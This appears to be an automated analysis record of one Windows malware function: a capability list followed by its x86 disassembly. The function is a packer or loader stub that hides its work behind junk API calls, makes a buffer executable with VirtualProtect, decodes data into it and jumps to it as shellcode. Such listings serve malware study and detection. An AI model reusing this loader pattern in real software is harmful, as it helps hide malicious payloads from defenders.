Function at 0x401215
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Get disk information
Get geographical location
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1810
call fcn.0040b1d0
push ebx
push esi
xor esi, esi
cmp dword [0x2d2b014], 0x93
push edi
jne 0x40128b
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push esi
lea eax, [ebp - 0x410]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
push esi
call fcn.00401824
push esi
push 0x4286d7
push 0x430c30
call fcn.004018d6
push esi
call fcn.00401b08
push esi
push esi
call fcn.00401b37
add esp, 0x1c
call fcn.00401207
push esi
call fcn.00401ebc
pop ecx
push esi
call fcn.0040216c
add dword [0x2d2b014], 0x1134b
push dword [0x2d2b014]
mov eax, dword [0x42ef00]
push esi
mov dword [0x2d2ba78], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x2d2b014]
mov dword [0x2d2af6c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffW]
mov ebx, 0x29156e
push esi
lea eax, [ebp - 0x1010]
push eax
call edi
dec ebx
jne 0x4012cf
cmp dword [0x2d2b014], esi
jbe 0x401330
mov eax, dword [0x2d2ba78]
mov al, byte [eax + ebx + 0x1134b]
mov ecx, dword [0x2d2af6c]
mov byte [ecx + ebx], al
cmp dword [0x2d2b014], 0x490
jne 0x401327
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc ebx
cmp ebx, dword [0x2d2b014]
jb 0x4012e4
xor ebx, ebx
mov eax, dword [0x2d2b014]
add eax, ebx
cmp eax, 0x8d
jne 0x40139c
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
lea eax, [ebp - 0x1810]
push eax
call edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0xc10]
push eax
push str.pehipayafenopidibegesilalacow_zemikamajimara_nikihilenareki_xesadaviheralizilivehoxutegugek_malejiyaliv
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push str.tiyamiwojemuya_vibahuzivacenewojuhiharomexufut_dabotay_lafibulebabumuligavolav
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
inc ebx
cmp ebx, 0x38681
jl 0x401332
mov eax, dword [0x2d2b014]
mov ecx, dword [0x2d2af6c]
shr eax, 3
cmp eax, esi
jbe 0x4013ea
mov edi, ecx
mov ebx, eax
cmp dword [0x2d2b014], 0x959
jne 0x4013de
push esi
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
push edi
call fcn.0040107e
add edi, 8
dec ebx
jne 0x4013bb
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x40140b
mov dword [ebp - 8], esi
add dword [ebp - 8], 0x5ec2
mov eax, dword [ebp - 8]
add dword [0x2d2af6c], eax
inc edi
cmp edi, 0x674db
jl 0x4013ec
push 0x7b
pop edi
cmp dword [0x2d2b014], 0x86
jne 0x401468
push esi
lea eax, [ebp - 0x1810]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push esi
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea eax, [ebp - 0xc10]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
dec edi
jne 0x401417
call fcn.00401000
call dword [0x2d2af6c]
pop edi
pop esi
pop ebx
leave
ret